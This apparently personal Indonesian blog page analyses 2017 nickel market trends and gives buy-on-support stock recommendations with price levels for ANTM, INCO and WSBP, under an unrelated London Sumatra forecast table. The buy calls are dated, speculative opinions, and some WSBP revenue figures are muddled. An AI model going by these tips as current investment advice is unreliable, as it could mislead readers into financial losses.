Source: PP London Sumatra Indonesia, Annual Report 2015

Future Forecast Financial Highlights PP London Sumatra Indonesia:

2015 2016F 2017F
Net Sales 4189.6 3818 4839
Net Income 623.3 464 849
P/E Ratio (x) 19.2 25.7 14.1
P/B Ratio (x) 1.6 1.6 1.5

in billion IDR rupiah, except stated otherwise

Trend Mineral Nikel Tahun 2017

Harga Nikel dunia dalam sepekan terakhir menguat terus dengan harga berjalan $10,232.50.

Berikut Chart Nickel setahun terakhir :


source: tradingeconomics.com

Seperti yang terlihat di chart harga Nikel dunia sudah mulai mengalami penguatan dari tahun 2016 – 2017 awal tahun ini. Penyebab nya adalah dari salah satu negara produsen terbesar nikel yaitu Filipina yang membuat kebijakan untuk menutup sejumlah tambang nikel guna meningkatkan harga nikel dunia.

Filipina yang menjadi raja dari produsen nikel ini mampu memproduksi nikel sebanyak 530.000 Ton per tahun nya di mana Filipina menyumbangkan 25% produksi nikel dunia. Di susul oleh Rusia di mana mampu memproduksi 240.000 Ton per tahun nya dan di susul oleh Kanada yang kurang lebih dapat memproduksi nikel sebanyak 240.000 Ton per tahun nya. Dan Indonesia menempati urutan ke 6 sebagai produsen Nikel sebanyak 170.000 Ton per tahun nya yang di mana lebih sedikit di banding Australia dan New Caledonia di posisi 4 dan 5.

Grafik produksi Nikel Filipina selama 10 tahun terakhir , Sumber : Statista.com

Total tambang yang sudah di tutup itu sudah mencapai 23 tambang dengan perencanaan akan menutup total 30 tambang Nikel, 18 di antara nya adalah produsen terbanyak untuk pasokan nikel dalam negeri Filipina. Kebijakan ini di buat untuk menaikan harga jual Nikel dan mencegah terjadi nya oversuply.

Di Indonesia sendiri pemerintah telah membuat kebijakan untuk mewajibkan perusahaan produsen Nikel untuk membangun smelter guna meningkatkan kualitas Nikel sehingga mempunyai daya saing lebih bagus di pasar global.

Salah satu perusahaan penambang nikel yang akan di untungkan adalah PT.Aneka Tambang (Persero) Tbk dimana pada tahun 2016 berhasil mencatatkan produksi feronikel yang naik 18 persen menjadi 20.293 ton nikel dan mencatatkan penjualan feronikel yang meningkat 12 persen menjadi sebesar 20.888 TNi dibanding periode yang sama tahun sebelumnya.

PT Aneka Tambang (Persero) Tbk juga tengah memfinalisasi untuk persiapan proyek-proyek hilirisasi.Persiapkan proyek-proyek yang di lakukan adalah pembangunan feronikel line 2 dan 3, untuk meningkatkan nilai tambah melalui hilirisasi baik dengan skema pendanaan internal atau pun kerja sama dengan mitra strategis.

PT Aneka Tambang (Persero) Tbk sudah melakukan hilirisasi mineral sejak 1974 melalui pengoperasian pabrik feronikel FeNi I. Saat ini, perseroan tengah membangun pabrik feronikel Haltim yang pendanaannya berasal dari penyertaan modal negara (PMN). Selain pabrik feronikel, pendapatan dari ekspor tersebut juga akan digunakan untuk merampungkan proyek peleburan bijih nikel kadar rendah (blast furnace) di lokasi yang sama. Pabrik ini dibangun sebagai antisipasi jika pelaksanaan ekspor ini telah berakhir. Apalagi, pemerintah hanya memperbolehkan periode ekspor nikel kadar rendah selama lima tahun saja.

Sebagai informasi, ketentuan ekspor nikel dengan kadar di bawah 1,7 persen ini dimuat di dalam pasal 4 Peraturan Menteri ESDM Nomor 6 Tahun 2017. Peraturan ini merupakan turunan dari PP Nomor 1 Tahun 2017 Atas Perubahan Keempat PP Nomor 23 Tahun 2010 Tentang Pelaksanaan Kegiatan Usaha Pertambangan Mineral dan Batubara.

Salah satu negara ekspor yang menjadi incaran pasar ANTM adalah China dan Eropa. Pembukaan ekspor nikel kadar di bawah 1,7 persen ini dianggap akan mendongkrak penjualan ANTM untuk ke depan nya. Serta dukungan dari trend Global Nikel di mana kebijakan dari Filipina untuk menaikan harga nikel akan menguntungkan untuk ANTM.

Berikut Chart Emiten PT Aneka Tambang (Persero) Tbk dengan kode ANTM :

seperti yang kita lihat dari chart ANTM sudah mencapai titik support di harga 800, terlihat dari chart yang ada juga bahwa volume tekanan jual dari ANTM sudah mulai menipis. Rekomendasi adalah Buy on Support di harga 805-810 dengan Resistance di harga 860. Disclaimer on.

dan Begitu juga hal nya dengan INCO juga sangat menarik untuk di perhatikan, berikut chart nya :

INCO juga sudah mendekati titik support di level 2600, untuk rekomendasi Buy On Support di harga 2630-2640 dengan Resistance 2840 di mana ada GAP antara 2840 – 2920. Disclaimer on.

Untuk Fundamental laporan keuangan kedua Emiten ini akan saya update di postingan berikutnya, stay tuned. Salam PROFITS.

Analisa Saham WSBP

WSBP (Waskita Beton Preacast)  pada tahun 2016 memperoleh pendapatan 12.2T atau melonjak 54% dari target yang di tetapkan di awal tahun 2016 sebesar 7.9T. Pada tahun  ini (2017) management WSBP menargetkan perndapatan sebesar 12.3T, Target pendapatan usaha 7.71T dan target laba besih nya 1.13T

pada tahun ini WSBP telah menyiapkan CAPEX 1.9T naik 72.73% dari tahun lalu suber dana capex dari dana hasil IPO dan pinjaman perbankan. CAPEX akan di gunakan untuk pembangunan 2 pabrik beton precast baru di daerah Kalimantan dan Sumatera Utara, menjadi 12 pabrik dan untuk menambah 42 batching plant di sejulah lokasi yang berdekatan dengan lokasi proyek nya, total batching plant yang di miliki wsbp sampai akhir tahun menjadi 83.

Batching Plant adalah suatu lokasi dimana terdapat alat alat untuk memproduksi dan mendistribusikan kepada pelanggan produk beton ready mix. Batching plant bersifat temporer karena mengikuti lokasi proyek yang ditangani WSBP

Proyek jalan tol terbaru yang diperoleh antaranya jalan tol Krian-Legundi-Bunder-Manyar, jalan tol Kayu Agung-Palembang-Betung, jalan tol Bogor-Ciawi-Sukabumi, jalan tol Terbanggi Besar-Kayu Agung serta jalan tol Salatiga-Boyolali yang merupakan lanjutan dari jalan tol Semarang-Bawen-Salatiga.

Proyek jalan tol Kayu Agung-Palembang-Betung merupakan salah satu proyek jalan tol yang dimiliki dan dikerjakan oleh Waskita Karya. Ruas tersebut nantinya akan tersambung dengan Terbanggi Besar-Kayu Agung.

Target Saya untuk saham WSBP 700

jika mampu naik dan tembus harga 600 maka peluang naik nya akan lebih cepat

Support 530 Resistance 600

buy > 580

By : Samuel Tanjung

 

Go to Top